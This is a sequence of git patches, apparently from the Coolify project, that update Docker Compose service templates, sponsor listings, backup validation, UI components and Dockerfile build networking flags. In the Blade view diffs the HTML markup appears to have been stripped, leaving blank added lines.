ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 23 Apr 2026 01:06:07 +0530 Subject: [PATCH 069/329] fix(service): docs link on cap-captcha.yaml --- templates/compose/cap-captcha.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml index 365dc4a2f..561c589ee 100644 --- a/templates/compose/cap-captcha.yaml +++ b/templates/compose/cap-captcha.yaml @@ -1,4 +1,4 @@ -# documentation: https://capjs.js.org +# documentation: https://capjs.js.org/guide/ # slogan: The self-hosted CAPTCHA for the modern web. # tags: captcha,security,privacy,proof-of-work # logo: svgs/cap-captcha.png From ae1a24a83b96f571097abc3169cfe05ebe0c6ce6 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 23 Apr 2026 01:06:25 +0530 Subject: [PATCH 070/329] fix(service): add category on cap-captcha.yaml --- templates/compose/cap-captcha.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml index 561c589ee..9474b83cd 100644 --- a/templates/compose/cap-captcha.yaml +++ b/templates/compose/cap-captcha.yaml @@ -1,5 +1,6 @@ # documentation: https://capjs.js.org/guide/ # slogan: The self-hosted CAPTCHA for the modern web. +# category: security # tags: captcha,security,privacy,proof-of-work # logo: svgs/cap-captcha.png # port: 3000 From d425998476c6c167e08d3ba107355c0ea6af222d Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 23 Apr 2026 01:06:44 +0530 Subject: [PATCH 071/329] fix(service): service url variable on cap-captcha.yaml --- templates/compose/cap-captcha.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml index 9474b83cd..534a53b3c 100644 --- a/templates/compose/cap-captcha.yaml +++ b/templates/compose/cap-captcha.yaml @@ -9,7 +9,7 @@ services: cap: image: tiago2/cap:latest environment: - - SERVICE_FQDN_CAP_3000 + - SERVICE_URL_CAP_3000 - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN - REDIS_URL=redis://valkey:6379 depends_on: From 716c741fffee9e0156f1437bc9dd27e70b4ef387 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 23 Apr 2026 01:07:00 +0530 Subject: [PATCH 072/329] fix(service): pin docker image on cap-captcha.yaml --- templates/compose/cap-captcha.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml index 534a53b3c..2cd1a286d 100644 --- a/templates/compose/cap-captcha.yaml +++ b/templates/compose/cap-captcha.yaml @@ -7,7 +7,7 @@ services: cap: - image: tiago2/cap:latest + image: tiago2/cap:3.0.4 # Released on 22nd April 2026 environment: - SERVICE_URL_CAP_3000 - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN From e26d4e39e62cccd2d8210c7a839fd3b1baef46de Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 23 Apr 2026 01:07:14 +0530 Subject: [PATCH 073/329] fix(service): add healthcheck on cap-captcha.yaml --- templates/compose/cap-captcha.yaml | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/templates/compose/cap-captcha.yaml b/templates/compose/cap-captcha.yaml index 2cd1a286d..3525663cd 100644 --- a/templates/compose/cap-captcha.yaml +++ b/templates/compose/cap-captcha.yaml @@ -12,6 +12,12 @@ services: - SERVICE_URL_CAP_3000 - ADMIN_KEY=$SERVICE_PASSWORD_ADMIN - REDIS_URL=redis://valkey:6379 + healthcheck: + test: ["CMD", "bun", "-e", "fetch('http://localhost:3000').then(r => { if (!r.ok) process.exit(1) }).catch(() => process.exit(1))"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 5s depends_on: valkey: condition: service_healthy From 237313f5c74ec083116e6a885a730e8fcf7b1210 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 23 Apr 2026 00:17:53 +0200 Subject: [PATCH 074/329] docs(sponsors): update PrivateAlps description --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 494ad007a..f8ae506b2 100644 --- a/README.md +++ b/README.md @@ -60,7 +60,7 @@ ### Huge Sponsors * [MVPS](https://www.mvps.net?ref=coolify.io) - Cheap VPS servers at the highest possible quality * [SerpAPI](https://serpapi.com?ref=coolify.io) - Google Search API — Scrape Google and other search engines from our fast, easy, and complete API * [ScreenshotOne](https://screenshotone.com?ref=coolify.io) - Screenshot API for devs -* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Offshore hosting — anonymity, uncensored, security. +* [PrivateAlps](https://privatealps.net?ref=coolify.io) - Cloud Services Provider, VPS, servers Infrastructure for people who care about privacy and control ### Big Sponsors From 3f88e85aacfbdad7b62c7f588d4f221a173c61ae Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Thu, 23 Apr 2026 14:53:31 +0530 Subject: [PATCH 075/329] feat(ui): add resource details view --- .../Project/Application/Configuration.php | 2 +- .../Project/Database/Configuration.php | 2 +- .../Project/Service/Configuration.php | 2 +- .../Project/Shared/ResourceDetails.php | 91 +++++++++++++++++++ .../components/forms/copy-button.blade.php | 13 ++- .../project/application/general.blade.php | 3 + .../database/clickhouse/general.blade.php | 3 + .../database/dragonfly/general.blade.php | 3 + .../project/database/keydb/general.blade.php | 3 + .../database/mariadb/general.blade.php | 3 + .../database/mongodb/general.blade.php | 3 + .../project/database/mysql/general.blade.php | 3 + .../database/postgresql/general.blade.php | 3 + .../project/database/redis/general.blade.php | 3 + .../project/service/stack-form.blade.php | 3 + .../project/shared/resource-details.blade.php | 57 ++++++++++++ 16 files changed, 191 insertions(+), 6 deletions(-) create mode 100644 app/Livewire/Project/Shared/ResourceDetails.php create mode 100644 resources/views/livewire/project/shared/resource-details.blade.php diff --git a/app/Livewire/Project/Application/Configuration.php b/app/Livewire/Project/Application/Configuration.php index cc1bf15b9..ad025bed5 100644 --- a/app/Livewire/Project/Application/Configuration.php +++ b/app/Livewire/Project/Application/Configuration.php @@ -35,7 +35,7 @@ public function mount() $project = currentTeam() ->projects() - ->select('id', 'uuid', 'team_id') + ->select('id', 'uuid', 'name', 'team_id') ->where('uuid', request()->route('project_uuid')) ->firstOrFail(); $environment = $project->environments() diff --git a/app/Livewire/Project/Database/Configuration.php b/app/Livewire/Project/Database/Configuration.php index 7c64a6eef..a62fbf2fe 100644 --- a/app/Livewire/Project/Database/Configuration.php +++ b/app/Livewire/Project/Database/Configuration.php @@ -34,7 +34,7 @@ public function mount() $project = currentTeam() ->projects() - ->select('id', 'uuid', 'team_id') + ->select('id', 'uuid', 'name', 'team_id') ->where('uuid', request()->route('project_uuid')) ->firstOrFail(); $environment = $project->environments() diff --git a/app/Livewire/Project/Service/Configuration.php b/app/Livewire/Project/Service/Configuration.php index 2d69ceb12..bf0a6b6a2 100644 --- a/app/Livewire/Project/Service/Configuration.php +++ b/app/Livewire/Project/Service/Configuration.php @@ -51,7 +51,7 @@ public function mount() $this->query = request()->query(); $project = currentTeam() ->projects() - ->select('id', 'uuid', 'team_id') + ->select('id', 'uuid', 'name', 'team_id') ->where('uuid', request()->route('project_uuid')) ->firstOrFail(); $environment = $project->environments() diff --git a/app/Livewire/Project/Shared/ResourceDetails.php b/app/Livewire/Project/Shared/ResourceDetails.php new file mode 100644 index 000000000..8a4117c39 --- /dev/null +++ b/app/Livewire/Project/Shared/ResourceDetails.php @@ -0,0 +1,91 @@ +authorize('view', $this->resource); + + $environment = $this->resource->environment ?? null; + if ($environment) { + $this->environment_uuid = $environment->uuid; + $this->environment_name = $environment->name; + $project = $environment->project ?? null; + if ($project) { + $this->project_uuid = $project->uuid; + $this->project_name = $project->name; + } + } + + $server = $this->resolveServer(); + if ($server) { + $this->server_uuid = $server->uuid; + $this->server_name = $server->name; + } + + if ($this->resource instanceof Service) { + $this->stack_applications = $this->resource->applications + ->map(fn ($app) => [ + 'name' => $app->human_name ?: $app->name, + 'uuid' => $app->uuid, + ]) + ->values() + ->all(); + + $this->stack_databases = $this->resource->databases + ->map(fn ($db) => [ + 'name' => $db->human_name ?: $db->name, + 'uuid' => $db->uuid, + ]) + ->values() + ->all(); + } + } + + private function resolveServer() + { + try { + if (isset($this->resource->destination) && $this->resource->destination && isset($this->resource->destination->server)) { + return $this->resource->destination->server; + } + if (method_exists($this->resource, 'server') && $this->resource->server) { + return $this->resource->server; + } + } catch (\Throwable $e) { + return null; + } + + return null; + } + + public function render() + { + return view('livewire.project.shared.resource-details'); + } +} diff --git a/resources/views/components/forms/copy-button.blade.php b/resources/views/components/forms/copy-button.blade.php index 12fadc595..eb3f3d8a4 100644 --- a/resources/views/components/forms/copy-button.blade.php +++ b/resources/views/components/forms/copy-button.blade.php @@ -1,7 +1,13 @@ -@props(['text']) +@props(['text', 'label' => null]) -
- +
+ @if ($label) + + @endif +
+ +
diff --git a/resources/views/livewire/project/application/general.blade.php b/resources/views/livewire/project/application/general.blade.php index fe3ef3686..e0d1153e8 100644 --- a/resources/views/livewire/project/application/general.blade.php +++ b/resources/views/livewire/project/application/general.blade.php @@ -12,6 +12,9 @@
{{ $application->compose_parsing_version }}
@endif Save + + + @if ($buildPack === 'dockercompose') diff --git a/resources/views/livewire/project/database/clickhouse/general.blade.php b/resources/views/livewire/project/database/clickhouse/general.blade.php index 9283172ad..5fd006e8e 100644 --- a/resources/views/livewire/project/database/clickhouse/general.blade.php +++ b/resources/views/livewire/project/database/clickhouse/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/dragonfly/general.blade.php b/resources/views/livewire/project/database/dragonfly/general.blade.php index ce46e47dd..0e29948a2 100644 --- a/resources/views/livewire/project/database/dragonfly/general.blade.php +++ b/resources/views/livewire/project/database/dragonfly/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/keydb/general.blade.php b/resources/views/livewire/project/database/keydb/general.blade.php index ee3f8fd0c..1964fd5f3 100644 --- a/resources/views/livewire/project/database/keydb/general.blade.php +++ b/resources/views/livewire/project/database/keydb/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/mariadb/general.blade.php b/resources/views/livewire/project/database/mariadb/general.blade.php index 1154124d1..ab6badda5 100644 --- a/resources/views/livewire/project/database/mariadb/general.blade.php +++ b/resources/views/livewire/project/database/mariadb/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/mongodb/general.blade.php b/resources/views/livewire/project/database/mongodb/general.blade.php index e9e5d621d..787bc7ad5 100644 --- a/resources/views/livewire/project/database/mongodb/general.blade.php +++ b/resources/views/livewire/project/database/mongodb/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/mysql/general.blade.php b/resources/views/livewire/project/database/mysql/general.blade.php index bb3916ec8..80dcad117 100644 --- a/resources/views/livewire/project/database/mysql/general.blade.php +++ b/resources/views/livewire/project/database/mysql/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/postgresql/general.blade.php b/resources/views/livewire/project/database/postgresql/general.blade.php index 9c956f5b3..3f51bf31d 100644 --- a/resources/views/livewire/project/database/postgresql/general.blade.php +++ b/resources/views/livewire/project/database/postgresql/general.blade.php @@ -19,6 +19,9 @@ Save + + +
diff --git a/resources/views/livewire/project/database/redis/general.blade.php b/resources/views/livewire/project/database/redis/general.blade.php index 73ee5f0e5..e644a9107 100644 --- a/resources/views/livewire/project/database/redis/general.blade.php +++ b/resources/views/livewire/project/database/redis/general.blade.php @@ -5,6 +5,9 @@ Save + + +
diff --git a/resources/views/livewire/project/service/stack-form.blade.php b/resources/views/livewire/project/service/stack-form.blade.php index e63e7a509..0aec7c873 100644 --- a/resources/views/livewire/project/service/stack-form.blade.php +++ b/resources/views/livewire/project/service/stack-form.blade.php @@ -12,6 +12,9 @@ @endcan + + +
Configuration
diff --git a/resources/views/livewire/project/shared/resource-details.blade.php b/resources/views/livewire/project/shared/resource-details.blade.php new file mode 100644 index 000000000..3be82da12 --- /dev/null +++ b/resources/views/livewire/project/shared/resource-details.blade.php @@ -0,0 +1,57 @@ +
+
Identifiers for this resource. Read-only
+ +
+
+

Resource

+
+ + +
+
+ + @if ($environment_uuid) +
+

Environment

+
+ + +
+
+ @endif + + @if ($project_uuid) +
+

Project

+
+ + +
+
+ @endif + + @if ($server_uuid) +
+

Server

+
+ + +
+
+ @endif + + @if (! empty($stack_applications) || ! empty($stack_databases)) +
+

Stack Sub-Resources

+
+ @foreach ($stack_applications as $item) + + @endforeach + @foreach ($stack_databases as $item) + + @endforeach +
+
+ @endif +
+
From c5ce36018c5a9d95d45908d68e15ddcee8d555ac Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Thu, 23 Apr 2026 14:13:55 +0200 Subject: [PATCH 076/329] docs(sponsors): add MindedTech to Small sponsors --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index f8ae506b2..ac1b39b06 100644 --- a/README.md +++ b/README.md @@ -152,6 +152,7 @@ ### Small Sponsors InterviewPal Transcript LOL YouStable +MindedTech ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio) From f77fd2161ce5b64ac7e644b63d2c6d856c28e33a Mon Sep 17 00:00:00 2001 From: Gauthier POGAM--LE MONTAGNER Date: Thu, 23 Apr 2026 18:08:40 +0200 Subject: [PATCH 077/329] feat(service): add healthcheck to langfuse-worker --- templates/compose/langfuse.yaml | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/templates/compose/langfuse.yaml b/templates/compose/langfuse.yaml index b617cec5c..78260012d 100644 --- a/templates/compose/langfuse.yaml +++ b/templates/compose/langfuse.yaml @@ -88,6 +88,11 @@ services: environment: <<: *app-env depends_on: *langfuse-depends-on + healthcheck: + test: ["CMD", "wget", "--no-verbose", "--tries=1", "--spider", "http://127.0.0.1:3030/api/health"] + interval: 30s + timeout: 10s + retries: 3 postgres: image: postgres:17-alpine From 32ae288a12d07f1f6a17ddc445d121b0543262a5 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 24 Apr 2026 00:12:17 +0530 Subject: [PATCH 078/329] fix(service): add port to metadata on plane --- templates/compose/plane.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/plane.yaml b/templates/compose/plane.yaml index cb9734fe1..440845a1e 100644 --- a/templates/compose/plane.yaml +++ b/templates/compose/plane.yaml @@ -1,6 +1,7 @@ # documentation: https://docs.plane.so/self-hosting/methods/docker-compose # slogan: The open source project management tool # category: productivity +# port: 80 # tags: plane,project-management,tool,open,source,api,nextjs,redis,postgresql,django,pm # logo: svgs/plane.svg From b3d6877404a631d80b4f3f612df9c148999ad18c Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 24 Apr 2026 02:21:33 +0530 Subject: [PATCH 079/329] chore(service): update beszel to 0.18.7 --- templates/compose/beszel.yaml | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/templates/compose/beszel.yaml b/templates/compose/beszel.yaml index bc68c1825..9112c3203 100644 --- a/templates/compose/beszel.yaml +++ b/templates/compose/beszel.yaml @@ -9,7 +9,7 @@ # Add the public Key in "Key" env variable and token in the "Token" variable below (These are obtained from Beszel UI) services: beszel: - image: 'henrygd/beszel:0.18.4' # Released on 21 Feb 2026 + image: 'henrygd/beszel:0.18.7' # Released on 6 April 2026 environment: - SERVICE_URL_BESZEL_8090 - CONTAINER_DETAILS=${CONTAINER_DETAILS:-true} @@ -24,7 +24,7 @@ services: retries: 10 start_period: 5s beszel-agent: - image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + image: 'henrygd/beszel-agent:0.18.7' # Released on 6 April 2026 network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: # Required @@ -46,4 +46,4 @@ services: interval: 60s timeout: 20s retries: 10 - start_period: 5s \ No newline at end of file + start_period: 5s From 5f45deedcebc51140c3334d2d0ab90daca45adcb Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 24 Apr 2026 02:22:08 +0530 Subject: [PATCH 080/329] chore(service): update beszel-agent to 0.18.7 --- templates/compose/beszel-agent.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/templates/compose/beszel-agent.yaml b/templates/compose/beszel-agent.yaml index 5d0b4fecc..a8391094d 100644 --- a/templates/compose/beszel-agent.yaml +++ b/templates/compose/beszel-agent.yaml @@ -6,7 +6,7 @@ services: beszel-agent: - image: 'henrygd/beszel-agent:0.18.4' # Released on 21 Feb 2026 + image: 'henrygd/beszel-agent:0.18.7' # Released on 6 April 2026 network_mode: host # Network stats graphs won't work if agent cannot access host system network stack environment: # Required @@ -28,4 +28,4 @@ services: interval: 60s timeout: 20s retries: 10 - start_period: 5s \ No newline at end of file + start_period: 5s From cd47711cd0bfa9935759d313cac0ba1c5da4472c Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 24 Apr 2026 02:28:08 +0530 Subject: [PATCH 081/329] feat(service): disable calcom Not maintained anymore by the calcom team --- templates/compose/calcom.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/calcom.yaml b/templates/compose/calcom.yaml index b5ef778b5..599ef896c 100644 --- a/templates/compose/calcom.yaml +++ b/templates/compose/calcom.yaml @@ -1,3 +1,4 @@ +# ignore: true # documentation: https://cal.com/docs/developing/introduction # slogan: Scheduling infrastructure for everyone. # category: productivity From 424a41dbd02f12c727345d263640c7a46e839646 Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 24 Apr 2026 09:30:57 +0530 Subject: [PATCH 082/329] fix(service): add missing category to jitsi --- templates/compose/jitsi.yaml | 1 + 1 file changed, 1 insertion(+) diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml index db119e4a0..7d2cad25e 100644 --- a/templates/compose/jitsi.yaml +++ b/templates/compose/jitsi.yaml @@ -1,6 +1,7 @@ # documentation: https://jitsi.github.io/handbook/docs/devops-guide/devops-guide-docker/ # slogan: Self-hosted Jitsi Meet — open-source video conferencing platform # tags: jitsi,video,conference,webrtc,meeting,self-hosted +# category: productivity # logo: svgs/jitsi.svg # port: 80 From d2b7dfe92ae9e297dc46a6bf9a890a33507a63ce Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Fri, 24 Apr 2026 09:40:01 +0530 Subject: [PATCH 083/329] fix(service): remove volume declaration on jitsi --- templates/compose/jitsi.yaml | 7 ------- 1 file changed, 7 deletions(-) diff --git a/templates/compose/jitsi.yaml b/templates/compose/jitsi.yaml index 7d2cad25e..97699e473 100644 --- a/templates/compose/jitsi.yaml +++ b/templates/compose/jitsi.yaml @@ -137,10 +137,3 @@ services: networks: meet.jitsi: - -volumes: - jitsi-web: - jitsi-prosody: - jitsi-jicofo: - jitsi-jvb: - \ No newline at end of file From 74cc85139f1cb6ea5dacfc602534cae6decb727e Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Fri, 24 Apr 2026 22:33:32 +0200 Subject: [PATCH 084/329] docs(sponsors): add NetRouting to Small sponsors --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index ac1b39b06..8d9803077 100644 --- a/README.md +++ b/README.md @@ -153,6 +153,7 @@ ### Small Sponsors Transcript LOL YouStable MindedTech +NetRouting ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio) From 593006be88cefdf34bd3319f98e8ae541630e69f Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sat, 25 Apr 2026 22:27:26 +0530 Subject: [PATCH 085/329] fix(validation): allow decimals for database backups max storage --- app/Http/Controllers/Api/DatabasesController.php | 16 ++++++++-------- .../project/database/backup-edit.blade.php | 4 ++-- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index c05af152f..a6056b9f3 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -639,10 +639,10 @@ public function update_by_uuid(Request $request) 'backup_now' => ['type' => 'boolean', 'description' => 'Whether to trigger backup immediately after creation'], 'database_backup_retention_amount_locally' => ['type' => 'integer', 'description' => 'Number of backups to retain locally'], 'database_backup_retention_days_locally' => ['type' => 'integer', 'description' => 'Number of days to retain backups locally'], - 'database_backup_retention_max_storage_locally' => ['type' => 'integer', 'description' => 'Max storage (MB) for local backups'], + 'database_backup_retention_max_storage_locally' => ['type' => 'number', 'description' => 'Max storage (GB) for local backups'], 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Number of backups to retain in S3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Number of days to retain backups in S3'], - 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage (MB) for S3 backups'], + 'database_backup_retention_max_storage_s3' => ['type' => 'number', 'description' => 'Max storage (GB) for S3 backups'], 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), @@ -703,10 +703,10 @@ public function create_backup(Request $request) 'databases_to_backup' => 'string|nullable', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', - 'database_backup_retention_max_storage_locally' => 'integer|min:0', + 'database_backup_retention_max_storage_locally' => 'numeric|min:0', 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', - 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'database_backup_retention_max_storage_s3' => 'numeric|min:0', 'timeout' => 'integer|min:60|max:36000', ]); @@ -878,10 +878,10 @@ public function create_backup(Request $request) 'frequency' => ['type' => 'string', 'description' => 'Frequency of the backup'], 'database_backup_retention_amount_locally' => ['type' => 'integer', 'description' => 'Retention amount of the backup locally'], 'database_backup_retention_days_locally' => ['type' => 'integer', 'description' => 'Retention days of the backup locally'], - 'database_backup_retention_max_storage_locally' => ['type' => 'integer', 'description' => 'Max storage of the backup locally'], + 'database_backup_retention_max_storage_locally' => ['type' => 'number', 'description' => 'Max storage of the backup locally'], 'database_backup_retention_amount_s3' => ['type' => 'integer', 'description' => 'Retention amount of the backup in s3'], 'database_backup_retention_days_s3' => ['type' => 'integer', 'description' => 'Retention days of the backup in s3'], - 'database_backup_retention_max_storage_s3' => ['type' => 'integer', 'description' => 'Max storage of the backup in S3'], + 'database_backup_retention_max_storage_s3' => ['type' => 'number', 'description' => 'Max storage of the backup in S3'], 'timeout' => ['type' => 'integer', 'description' => 'Backup job timeout in seconds (min: 60, max: 36000)', 'default' => 3600], ], ), @@ -933,10 +933,10 @@ public function update_backup(Request $request) 'frequency' => 'string', 'database_backup_retention_amount_locally' => 'integer|min:0', 'database_backup_retention_days_locally' => 'integer|min:0', - 'database_backup_retention_max_storage_locally' => 'integer|min:0', + 'database_backup_retention_max_storage_locally' => 'numeric|min:0', 'database_backup_retention_amount_s3' => 'integer|min:0', 'database_backup_retention_days_s3' => 'integer|min:0', - 'database_backup_retention_max_storage_s3' => 'integer|min:0', + 'database_backup_retention_max_storage_s3' => 'numeric|min:0', 'timeout' => 'integer|min:60|max:36000', ]); if ($validator->fails()) { diff --git a/resources/views/livewire/project/database/backup-edit.blade.php b/resources/views/livewire/project/database/backup-edit.blade.php index d5c25916a..898283afd 100644 --- a/resources/views/livewire/project/database/backup-edit.blade.php +++ b/resources/views/livewire/project/database/backup-edit.blade.php @@ -106,7 +106,7 @@ min="0" helper="Automatically removes backups older than the specified number of days. Set to 0 for no time limit." required />
@@ -122,7 +122,7 @@ min="0" helper="Automatically removes S3 backups older than the specified number of days. Set to 0 for no time limit." required />
From cad9fc99d6d97dc32ee0629e142c4e06def1eb34 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 26 Apr 2026 12:53:45 +0200 Subject: [PATCH 086/329] docs(sponsors): add ParsecPH to Small sponsors --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 8d9803077..7a3f2a65e 100644 --- a/README.md +++ b/README.md @@ -154,6 +154,7 @@ ### Small Sponsors YouStable MindedTech NetRouting +ParsecPH ...and many more at [GitHub Sponsors](https://github.com/sponsors/coollabsio) From 9cd379e737174c2881acf71fe8bbf0c2afdb7629 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sun, 26 Apr 2026 12:55:34 +0200 Subject: [PATCH 087/329] fix(helper): add Alpine.js click toggle to info helper popup Replace CSS-only hover with Alpine.js click-based open/close, including click.outside to dismiss. --- resources/views/components/helper.blade.php | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/resources/views/components/helper.blade.php b/resources/views/components/helper.blade.php index 394f6275f..2542839f1 100644 --- a/resources/views/components/helper.blade.php +++ b/resources/views/components/helper.blade.php @@ -1,4 +1,5 @@ -
merge(['class' => 'group']) }}> +
merge(['class' => 'group']) }}>
@isset($icon) {{ $icon }} @@ -10,7 +11,7 @@ @endisset
-
+
{!! $helper !!}
From 36baf70637d864eb5680e4bb94b6fe10fce4b06d Mon Sep 17 00:00:00 2001 From: nehemiyawicks Date: Sun, 26 Apr 2026 19:30:05 +0530 Subject: [PATCH 088/329] fix: use --network host for Dockerfile buildpack builds Dockerfile buildpack was passing --network {custom_network_name} to docker build, but BuildKit only supports host, none, and default. Every other buildpack already uses --network host with --add-host flags. Aligned the Dockerfile path to match. Fixes #9804 --- app/Jobs/ApplicationDeploymentJob.php | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/app/Jobs/ApplicationDeploymentJob.php b/app/Jobs/ApplicationDeploymentJob.php index 7e5025c8a..84bb4a09d 100644 --- a/app/Jobs/ApplicationDeploymentJob.php +++ b/app/Jobs/ApplicationDeploymentJob.php @@ -3075,29 +3075,28 @@ private function build_image() $this->execute_remote_command([executeInDocker($this->deployment_uuid, 'rm '.self::NIXPACKS_PLAN_PATH), 'hidden' => true]); } else { // Dockerfile buildpack - $safeNetwork = escapeshellarg($this->destination->network); if ($this->dockerSecretsSupported) { // Modify the Dockerfile to use build secrets $this->modify_dockerfile_for_secrets("{$this->workdir}{$this->dockerfile_location}"); $secrets_flags = $this->build_secrets ? " {$this->build_secrets}" : ''; if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location}{$secrets_flags} --progress plain -t $this->build_image_name {$this->workdir}"); } } elseif ($this->dockerBuildkitSupported) { // BuildKit without secrets if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } else { - $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("DOCKER_BUILDKIT=1 docker build {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} --progress plain -t $this->build_image_name {$this->build_args} {$this->workdir}"); } } else { // Traditional build with args if ($this->force_rebuild) { - $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} --network {$safeNetwork} -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); + $build_command = $this->wrap_build_command_with_env_export("docker build --no-cache {$this->buildTarget} {$this->addHosts} --network host -f {$this->workdir}{$this->dockerfile_location} {$this->build_args} -t $this->build_image_name {$this->workdir}"); 